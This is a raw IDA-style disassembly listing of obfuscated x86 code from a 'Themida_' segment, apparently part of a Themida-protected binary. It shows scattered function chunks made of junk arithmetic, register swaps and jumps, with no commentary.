		sub	edx, 3996364Eh
		add	edx, 0CED2C2F6h
		xor	ebp, edx
		pop	edx
		jmp	loc_56472E
; END OF FUNCTION CHUNK	FOR sub_56657A

; =============== S U B	R O U T	I N E =======================================



sub_56AE4B	proc near		; CODE XREF: sub_5734A7-A4B2j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00564336 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C2B1 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00574CD8 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_564336
sub_56AE4B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_56AE62:				; CODE XREF: sub_56E0CB-BFEFj
		pop	ebx
		add	esp, 4
		jmp	loc_55FFE5
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_56AE6B:				; CODE XREF: sub_569AB3-2D19j
		mov	ebp, [esp+18h+var_18]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_560043
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_56AE7F:				; CODE XREF: sub_567CF5-BB3j
		push	ecx
		jmp	loc_56A461
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56AE85:				; CODE XREF: sub_563A7F+761j
		pop	ebx
		jmp	loc_574CC4
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56AE8B:				; CODE XREF: sub_564BC5+D3EBj
		mov	ecx, 3974C0Fh
		mov	edx, ecx
		pop	ecx
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_571722
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56AE9E:				; CODE XREF: sub_574304-FE02j
		sub	[esp+0Ch+var_C], 3C084177h
		pop	edx
		push	ebp
		mov	ebp, 20E87545h
		xor	ebp, 60A75598h
		jmp	loc_57470E
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56AEB7:				; CODE XREF: sub_571088+12j
		add	esp, 4
		jmp	loc_566BFE
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_56AEC2:				; CODE XREF: sub_563DCB-769j
		mov	[esp+0], eax
		mov	al, 0A4h
		sub	cl, al
		mov	eax, [esp+0]
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_56F6C0
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56AED6:				; CODE XREF: sub_5673C3-EE3j
		xor	[esp-4+arg_0], ebp
		jmp	loc_573E92
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_56AEDE:				; CODE XREF: sub_574CBE-115AFj
		pop	ecx
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], edx
		mov	edx, 553814ADh
		sub	eax, edx
		jmp	loc_56CBC6
; END OF FUNCTION CHUNK	FOR sub_574CBE

; =============== S U B	R O U T	I N E =======================================



sub_56AEF2	proc near		; CODE XREF: sub_568646+6625j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_14		= dword	ptr  18h

; FUNCTION CHUNK AT 0056002E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056059D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560C91 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562174 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00563A18 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005644B6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564595 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005645E7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564F2B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568AF8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00568BC9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568DBD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005691F5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005693EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569D08 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A0C4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B50D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C29E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CE5C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E7D7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E831 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056EB7E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F55A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057012F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005704B4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570C54 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005719C1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572970 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574481 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057457B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0057477E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005751EA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00575455 SIZE 00000010 BYTES

		push	ebx
		mov	bl, 45h
		xor	bl, 6Ah
		add	dl, bl
		jmp	loc_563A18
sub_56AEF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56AEFF:				; CODE XREF: sub_56616D+9FE1j
		pop	edi
		sub	edi, 60807FADh
		push	edi
		push	6763h
		mov	[esp-0Ch+arg_8], ebx
		jmp	loc_56F823
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56AF14:				; CODE XREF: sub_569FB8+3BC1j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+12h+var_12]
		jmp	loc_570B11
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_56AF28:				; CODE XREF: sub_573876+1j
		mov	ebx, 147E6C73h
		jmp	loc_561435
; END OF FUNCTION CHUNK	FOR sub_573876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56AF32:				; CODE XREF: sub_56616D+Ej
		add	ebx, 482B564Bh
		sub	esi, ebx
		jmp	loc_567A8B
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_56AF3F:				; CODE XREF: sub_56C83E+5D2Bj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_560937
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_56AF52:				; CODE XREF: sub_56E0B0+2D16j
		pop	edx
		push	eax
		jmp	loc_575284
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_56AF59:				; CODE XREF: sub_572E16-11DFEj
		mov	ebx, esi
		mov	esi, [esp+4+var_4]
		jmp	loc_569A2C
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_56AF63:				; CODE XREF: sub_574AF3-BF37j
		pop	[esp+8+var_8]
		jmp	loc_5621C0
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_56AF6B:				; CODE XREF: sub_571890-12ECj
		sub	ecx, 10354733h
		jmp	loc_568BDC
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56AF76:				; CODE XREF: sub_57354D-8E4Cj
		add	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_56B137
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564B0B


loc_56AF7F:				; CODE XREF: sub_564B0B+96E0j
		mov	ebp, 487E348Fh
		xor	ecx, ebp
		pop	ebp
		sub	ecx, 0E4D8C6B5h
		push	edx
		mov	edx, 5C1A4681h
		not	edx
		sub	edx, 6DCA3B62h
		jmp	sub_56FAE2
; END OF FUNCTION CHUNK	FOR sub_564B0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56AFA0:				; CODE XREF: sub_5678CB-4826j
		or	cl, 39h
		shl	cl, 1
		add	cl, 1Bh
		or	dl, cl
		pop	ecx
		push	ecx
		mov	ch, 81h
		shl	ch, 1
		jmp	loc_5606E9
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56AFB5:				; CODE XREF: sub_569193-5ACCj
		mov	ebx, [esp+8+var_8]
		push	34BAh
		mov	[esp+0Ch+var_C], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_560609
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574B8A


loc_56AFD5:				; CODE XREF: sub_574B8A+Fj
		pop	esp
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	word ptr [esp-6+arg_0+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574B8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_56AFF2:				; CODE XREF: sub_5687A3-4D3Aj
		add	esi, 520F92ABh
		add	ebp, esi
		pop	esi
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_567C76
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56B006:				; CODE XREF: sub_56B06D-5059j
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		sub	ecx, 64EF5701h
		jmp	loc_56DC27
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680F2


loc_56B01A:				; CODE XREF: sub_5680F2+6CECj
		mov	ecx, 7C307C5Ah
		add	ebx, ecx
		pop	ecx
		jmp	sub_568D93
; END OF FUNCTION CHUNK	FOR sub_5680F2
; ---------------------------------------------------------------------------


loc_56B027:				; CODE XREF: Themida_:0056E4C2j
		xor	eax, 25EE6378h
		add	eax, 49195742h
		push	edx
		mov	edx, 0A44A5D2Dh
		jmp	loc_5646C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C474


loc_56B03C:				; CODE XREF: sub_56C474+2CCAj
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	sub_56102D
; END OF FUNCTION CHUNK	FOR sub_56C474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56B048:				; CODE XREF: sub_56616D+4C4Cj
		pop	esp
		push	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp-10h+arg_C], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_57504A
; END OF FUNCTION CHUNK	FOR sub_56616D

; =============== S U B	R O U T	I N E =======================================



sub_56B06D	proc near		; DATA XREF: Themida_:0055FD84o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005619BA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005637E5 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00563917 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564185 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005644AA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564DFB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00565000 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565954 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00565C80 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00566002 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005661E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005667AC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005669B2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00566E80 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056799F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568E4D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568F46 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569503 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00569C7B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569D2F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B006 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B377 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D606 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056D6DD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DC27 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056DCBE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056E241 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056EBE0 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0056F39E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F629 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057039C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057114E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005728AA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00572B8E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00572D83 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005737B9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573CE5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00574A50 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575188 SIZE 00000015 BYTES

		push	dword ptr [edi+38h]
		push	ecx
		jmp	loc_5637E5
sub_56B06D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_56B076:				; CODE XREF: sub_570C6A-44EAj
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0], esi
		push	4
		pop	esi
		add	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 2
		sub	ebp, 50B6274Ch
		add	ebp, edi
		push	esi
		jmp	loc_56C817
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56B0AA:				; CODE XREF: sub_5673C3+8DE7j
		xchg	eax, ebx
		xor	eax, 54423624h
		jmp	loc_56C2FB
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572805


loc_56B0B5:				; CODE XREF: sub_572805-2652j
		mov	al, 0ADh
		mov	bl, al
		pop	eax
		xor	bl, dl
		pop	edx
		sub	al, bl
		pop	bx
		jmp	sub_569D5F
; END OF FUNCTION CHUNK	FOR sub_572805
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56B0C6:				; CODE XREF: sub_5605BC+6F5Bj
		xor	edx, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		push	ecx
		mov	ecx, esp
		jmp	loc_56D012
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_56B0D4:				; CODE XREF: sub_57109F+2DB4j
		pop	esi
		jmp	loc_5720EF
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------


loc_56B0DA:				; CODE XREF: Themida_:00562B31j
		xor	ecx, 0E898E16h
		sub	ebx, ecx
		jmp	loc_56C7CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56B0E7:				; CODE XREF: sub_5620B7+E72Cj
		sub	edx, 70FA7D16h
		sub	edx, 5556833Ah
		push	esi
		mov	esi, 433C4466h
		jmp	loc_5669EA
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_56B0FE:				; CODE XREF: sub_56D464+63D7j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_56D447
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_56B111:				; CODE XREF: sub_564CDA+9F66j
		mov	eax, 681E6541h
		jmp	loc_5604E7
; END OF FUNCTION CHUNK	FOR sub_564CDA

; =============== S U B	R O U T	I N E =======================================



sub_56B11B	proc near		; CODE XREF: sub_564CDA-149Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561F4A SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00562663 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563012 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056403B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056424E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564F91 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005670B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00568956 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568EA7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00569E4B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A496 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AB28 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056B41D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B443 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056E34E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E957 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E9B7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570FDA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057157C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573D07 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		sub	ecx, 348F715Dh
		jmp	loc_573D07
sub_56B11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56B137:				; CODE XREF: sub_57354D-85D3j
		push	[esp+8+var_4]
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_571C10
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_56B143:				; CODE XREF: sub_560056+12938j
		pop	esp
		push	eax
		mov	eax, edx
		mov	edi, eax
		pop	eax
		push	[esp+0Ch+var_C]
		jmp	loc_56E982
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_56B152:				; CODE XREF: sub_56BC97-3346j
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_562143
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------


loc_56B15F:				; CODE XREF: Themida_:0056D23Fj
		mov	[esp], esi
		mov	esi, 6F205B84h
		xor	esi, 6894BDCh
		mov	eax, esi
		pop	esi
		sub	ecx, 11CF052Ah
		add	ecx, 4132736Eh
		add	ecx, eax
		jmp	loc_574231
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_56B183:				; CODE XREF: sub_56F782-4ACFj
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, 0AF15B2Bh
		jmp	loc_564C26
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------


loc_56B194:				; CODE XREF: Themida_:005711D1j
		mov	edx, [esp]
		jmp	loc_563D71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56B19C:				; CODE XREF: sub_571088-7885j
		sub	edi, 13002936h
		add	edi, 34ED6A1Dh
		jmp	loc_56F318
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_56B1AD:				; CODE XREF: sub_56FCD7-4607j
		push	[esp+8+var_8]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+10h+var_C]
		pop	ebx
		jmp	loc_56524E
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56B1C8:				; CODE XREF: sub_5678CB+B34Dj
		sub	ch, 0A1h
		add	ch, ah
		add	ch, 0A1h
		jmp	loc_5668F4
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56B1D5:				; CODE XREF: sub_57354D-10701j
		mov	esi, esp
		jmp	loc_566CB5
; END OF FUNCTION CHUNK	FOR sub_57354D

; =============== S U B	R O U T	I N E =======================================



sub_56B1DC	proc near		; DATA XREF: Themida_:0055FF50o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056033F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00560F03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00560F33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561F1F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566A2E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566A41 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566A5D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566EFE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568041 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005682A8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056883D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005693A1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D482 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056F143 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056FC3E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005700D0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057317E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005731E2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573642 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005754A2 SIZE 0000000B BYTES

		mov	ecx, [esp+0]
		jmp	loc_566A2E
sub_56B1DC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561979


loc_56B1E4:				; CODE XREF: sub_561979+AFF7j
		mov	eax, 0F7C6D91h
		sub	eax, 724148BCh
		jmp	loc_563160
; END OF FUNCTION CHUNK	FOR sub_561979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56B1F3:				; CODE XREF: sub_574304-F844j
		mov	[esp+8+var_8], edx
		pop	eax
		mov	edx, [esp+4+var_4]
		jmp	loc_572F17
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56B1FF:				; CODE XREF: sub_5734A7-438Ej
		push	esp
		pop	edi
		jmp	loc_566BB0
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56B206:				; CODE XREF: sub_572141-EDBEj
		sub	ebp, 1B3F0333h
		jmp	loc_569D35
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_56B211:				; CODE XREF: sub_567CFE+BAFEj
		mov	ecx, 4B8E0F9Ch
		jmp	loc_5604BE
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56B21B:				; CODE XREF: sub_574656-AF19j
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_574A19
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_56B235:				; CODE XREF: sub_573876-1241Bj
		shl	edi, 2
		push	esi
		mov	esi, 0FDE63C5h
		or	edi, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		sub	edi, 82053516h
		push	esi
		mov	esi, edi
		push	eax
		mov	eax, esi
		push	eax
		pop	ebx
		pop	eax
		pop	esi
		jmp	loc_564D09
; END OF FUNCTION CHUNK	FOR sub_573876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56B25B:				; CODE XREF: sub_574656-130DCj
		push	3EF1h
		mov	[esp+4+var_4], edi
		push	ebx
		jmp	loc_573A16
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_56B269:				; CODE XREF: sub_571C93-7170j
		pop	esp
		push	3487h
		mov	[esp+4+var_4], edi
		mov	edi, 38134BBFh
		add	edi, 0FFFFFFFFh
		or	edi, 4D0438B1h
		push	31B7h
		mov	[esp+8+var_8], ecx
		push	eax
		mov	eax, 630F5783h
		jmp	loc_56B49F
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56B296:				; CODE XREF: sub_564D26-28DDj
		xor	ebx, [esp+0Ch+var_C]
		pop	esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	edi
		push	edx
		push	ecx
		push	1BEB313Ah
		jmp	loc_56FE17
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56189F


loc_56B2AD:				; CODE XREF: sub_56189F+Ej
		push	edx
		push	ebx
		jmp	loc_5703A8
; END OF FUNCTION CHUNK	FOR sub_56189F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_56B2B4:				; CODE XREF: sub_56264C-B48j
		add	eax, 24217B3Ch
		sub	eax, 3A4F20D0h
		push	ebx
		jmp	loc_56E92D
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56B2C4:				; CODE XREF: sub_56FA15+2E71j
		push	6357h
		mov	[esp+8+var_8], ebx
		push	edx
		push	488Ah
		mov	[esp+10h+var_10], ecx
		jmp	loc_56754C
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_56B2DA:				; CODE XREF: sub_567B29+692Fj
		shl	esi, 7
		or	esi, 309E2B92h
		or	esi, 63B0300Eh
		add	esi, 2A2E391Ch
		add	ebx, 2D166BBEh
		jmp	loc_5722BB
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56513E


loc_56B2FA:				; CODE XREF: sub_56513E+2393j
		mov	ebx, 1593FF1h
		push	ebx
		pop	esi
		pop	ebx
		jmp	loc_562890
; END OF FUNCTION CHUNK	FOR sub_56513E
; ---------------------------------------------------------------------------
